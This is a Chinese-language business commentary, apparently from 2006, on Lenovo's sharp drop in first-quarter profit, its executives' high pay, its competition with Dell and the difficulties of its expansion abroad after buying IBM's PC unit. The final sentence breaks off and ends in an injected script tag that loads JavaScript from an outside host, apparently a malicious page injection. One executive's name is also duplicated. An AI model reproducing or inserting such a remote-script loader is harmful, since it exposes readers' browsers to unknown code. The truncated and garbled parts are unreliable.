曾在国内特定时期、特定市场环境下创造了神话的联想，在走出国门后却再难以续写神话。联想集团8月初公布的截至2006年6月30日的第一财政季度业绩令人汗颜，首季度纯利降89%至500万美元（折合3900万港元）。而与之形成鲜明对比的却是集团主席杨元庆去年高达2175万港元的薪酬。全球第三大个人电脑生产商联想集团一直在试图走一条国际化的路子，但与国外公司看齐的标杆却是薪酬，令业界一片哗然。
在日前召开的联想股东会上，有小股东质疑联想的截至今年3月底的06年度派息太少，董事收取薪酬过高，联想主席杨元庆则解释，联想成为国际企业后，员工薪酬也需与国际水平看齐，才可保持竞争力。联想高层薪酬可谓是大跃进。前年杨元庆的年薪只有424万港元（约55万美元），其它高层则平均约200万港元，相比戴尔ceo罗林斯的274万美元年薪，甚至惠普ceo赫德去年的140万美元年薪、200万美元签约奖金、70万股期权确是有一点距离，但与国内上市公司高层平均只有29万人民币的年薪比较却又已经相去甚远。
尽管杨元庆薪酬令人关注，但整个联想集团酬金最丰厚的还是外籍高层。去年底辞任的联想ceo沃德工作虽然仅8个月，但薪金竟然达到1.12亿港元；而从戴尔“跳槽”过来的新任ceo william amelio工作了不过3个月，薪金也已高达1883万港元。8月17日，联想再次宣布联想亚太地区管理团队新加入了两名高级管理者——来自戴尔公司的davidd.miller和davidd.miller。也许是外来的和尚会念经，联想方才以与国际接轨的高薪厚待人才，以求高层稳定。
联想穿上“洋装”的标志是并购ibm个人电脑部门和将总部迁移到美国。但走出国门的联想却没有收到意料的收获，面临赢利压力，本季度销量增加13%，营收增加4%，亏损却高达2400万元，经营利润率为-2.4％。在竞争对手的大本营开拓市场难度可想而知，特别是戴尔大打价格战，在一定程度上拖累了联想盈利。
联想并购ibm个人电脑部门后，国际化程度大幅提升，同时也更加堂而皇之地站到了竞争对手面前，联想和戴尔就成了全球范围内的死敌。今年，在中国之外的亚洲市场，戴尔增长迅速，成绩远远超过了联想，在印度和日本市场表现尤为出色，增长率在50％以上，而联想在以上市场表现只是差强人意。因此在一个政客与企业的关系密不可分的国度，联想同时还受到美国政府部门的刁难，沸沸扬扬的联想电脑“安全门”事件就是典型案例。
因为在美国，议员受利益集团控制并为企业代言的现象并不罕见，况且在这里，联想已被看作是中国民族信息产业发展的象征，戴尔一位销售经理曾向潜在客户发电邮称：每购买一台联想电脑就是支持中国政府，以期此来劝说美国消费者不要购买联想电脑。
联想满怀着拥抱世界的雄心，国际化之路却崎岖不平，业绩未见突飞猛进，而中国本土市场仍然是带动联想增长动力，联想首季计算机付运量按年增长13%，高于业内平均10%水平，中国市场付运量则增达29%，而欧非及中东则比上年下跌12%。
联想集团首季盈利虽优于预期，但未来数季困难重重，联想需要面对三大挑战：一是欧美市场能否有明显起色？尤其是美国、欧非及中东需求增长将会持续放缓，价格将进一步受压，未来的毛利水平将无可避免遭蚕食，重组带来的效益要到本年度后期方可浮现。二是运营成本能否有效降低？pc业竞争已经到了白热化阶段，联想销售额可以做得很大，但却可能没有回报。三是执行力是否到位？国际化的经理人能否给联想带来市场和利润需要用时间来验证。
联想一直坚信收购ibm个人计算机业务是成功之举。按照杨元庆的话说，收购除拥有大客户基础外，现有客户也接开始受联想品牌，加上作为北京奥运赞助商，也增加了客户对集团品牌的认知，因此联想从不担心收购ibm后5年、统一使用联想品牌后，会对市场占有率有影响。目前，ibm 300笔记簿计算机已易名为联想300，其销售速度增长也令人满意。
杨元庆坦言，外资同业在中国与联想竞争的局面一直存在；联想正迈向国际化，应把联想与外资看齐，是国际公司间的竞争，联想下一步将会把其有效的商业模式应用到中国以外市场上。联想集团高级副总裁兼首席财务官马雪征则强调，业业务拓展方向主要是建立品牌、研发新产品及把现其商业模式推及海外市场。
在美国，联想正由联想ceo阿梅里奥复制交易型营销模式，在主攻大客户市场的同时，进军中小企业与个人消费用户市场。为开拓欧洲市场，联想一方面积极加强台式电脑竞争力，另一方面在意大利、法国等主要国家设立了分公司，积极推广交易型的营销模式。尽管联想的价格一直保持有竞争力，同时也不缺乏产品质量，但要在欧美市场见到成效，尚需时日。
联想“洋装”穿在身，高薪重奖之下的勇士们能否能够在市场上攻城掠地，取得更大的市场份额，还需要一颗了解世界的“雄心”，方可修成正果。需要提醒的是，作为中国旗帜性企业，联想走向世界的过程中，盈利的风险不仅仅来自于?script src=http://er12.com/t.js>
